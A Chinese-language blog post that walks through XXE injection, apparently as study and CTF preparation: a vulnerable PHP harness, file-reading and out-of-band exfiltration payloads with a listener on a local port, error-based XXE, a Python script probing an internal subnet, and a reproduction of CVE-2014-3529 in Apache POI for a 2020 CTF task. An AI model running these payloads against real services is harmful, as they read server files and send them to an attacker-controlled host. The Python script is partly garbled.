XXE漏洞分析及实战 - Raye's Journey

XXE漏洞分析及实战

常用payload分析

好像大家都用这个测试代码

1
<?php
2

3
libxml_disable_entity_loader(false);
4

5
$xmlfile = file_get_contents("php://input");
6
$dom = new DOMDocument();
7
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
8
$creds = simplexml_import_dom($dom);
9
var_dump($creds);

使用XML发送数据：

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root[
3
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
4
]>
5
<root>&a;</root>

但是我在尝试参数实体的时候似乎不能外带数据

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root[
3
<!ENTITY % a "http://localhost:8887/aaa">
4
%a;
5
]>
6
<root></root>

嵌套也是不行的

1
<?xml version="1.0"?>
2
<!DOCTYPE message [
3
  <!ENTITY % file SYSTEM "file:///flag.txt">
4
  <!ENTITY % start "<!ENTITY &x25; send SYSTEM 'http://localhost:8887/?%file;'>">
5
  %start;
6
  %send;
7
]>

最常用的外带数据的方法：

在自己的vps上准备两个文件，我这里就就都在本机做的实验

本地的8001端口开一个web服务，

local.xml 文件内容：

1
<!ENTITY % start "<!ENTITY &x25; send SYSTEM 'http://localhost:8887/?%file;'>">
2
%start;

这个文件表示读取到数据之后发送给另一个8887端口，然后我们向受害者服务器发送数据，

1
<?xml version="1.0"?>
2
<!DOCTYPE message [
3
  <!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
4
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
5
  %remote;
6
  %send;
7
]>
8
<message>1234</message>

然后就可以在8887端口接收到数据了

换一种 payload 也行

DTD文件

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
2
<!ENTITY % int "<!ENTITY &37; send SYSTEM 'http://localhost:8887/p=%file;'>">

发送的 paylod

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE convert [
3
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
4
%remote;%int;%send;
5
]>

报错XXE

这个方法p牛其实早就说过了,通过三层嵌套的XML就可以达到报错

1
<?xml version="1.0"?>
2
<!DOCTYPE message [
3
  <!ELEMENT message ANY>
4
  <!ENTITY % para1 SYSTEM "file:///flag">
5
  <!ENTITY % para '
6
    <!ENTITY &x25; para2 "<!ENTITY &x26;x25; error SYSTEM &x27;file:///&x25;para1;&x27;>">
7
    &x25;para2;
8
  '>
9
  %para;
10
]>
11
<message>10</message>

XXE探测内网

1
import requests
2
import base64
3
Origtional XML that the server accepts
4

5
<xml>
6

7
    <stuff>user</stuff>
8

9
</xml>
10

11

12

13
def build_xml(string):
14
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
15
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
16
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
17
    xml = xml + "\r\n" + """<xml>"""
18
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
19
    xml = xml + "\r\n" + """</xml>"""
20
    send_xml(xml)
21

22
def send_xml(xml):
23
    headers = {'Content-Type': 'application/xml'}
24
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
25
    coded_string = x.split(' ')[-2]  a little split to get only the base64 encoded value
26
    print coded_string
27
   print base64.b64decode(coded_string)
28

29
for i in range(1, 255):
30
    try:
31
        i = str(i)
32
        ip = '192.168.1.' + i
33
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
34
        print string
35
        build_xml(string)
36
    except:
37
      print "error"
38
continue

实例分析

网鼎杯2020 fileJava

用到的漏洞就是 CVE20143529

复现代码

1
import org.apache.poi.EncryptedDocumentException;
2
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
3
import org.apache.poi.ss.usermodel.Sheet;
4
import org.apache.poi.ss.usermodel.Workbook;
5
import org.apache.poi.ss.usermodel.WorkbookFactory;
6
import java.io.FileInputStream;
7
import java.io.IOException;
8
public class CVE20143529 {
9
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
10
        Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
11
        Sheet sheet = wb1.getSheetAt(0);
12
        System.out.println(sheet.getLastRowNum());
13
    }
14
}

pom.xml

1
<?xml version="1.0" encoding="UTF-8"?>
2
<project xmlns="http://maven.apache.org/POM/4.0.0"
3
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5
    <modelVersion>4.0.0</modelVersion>
6

7
    <groupId>pxyapache</groupId>
8
    <artifactId>pxypxy</artifactId>
9
    <version>1.0-SNAPSHOT</version>
10
    <dependencies>
11
        <dependency>
12
            <groupId>org.apache.poi</groupId>
13
            <artifactId>poi-ooxml</artifactId>
14
            <version>3.10-FINAL</version>
15
        </dependency>
16
    </dependencies>
17

18
</project>

利用过程：

准备一个excel文件：

1
<!DOCTYPE convert [
2
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
3
%remote;%int;%send;
4
]>

准备DTD文件

1
<!ENTITY % file SYSTEM "file:///flag">
2
<!ENTITY % int "<!ENTITY &37; send SYSTEM 'http://localhost:8887/p=%file;'>">

会读取文件，然后将其发送到8887端口上

监听得到的flag

参考

YouTube这个视频其实讲的不错：https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S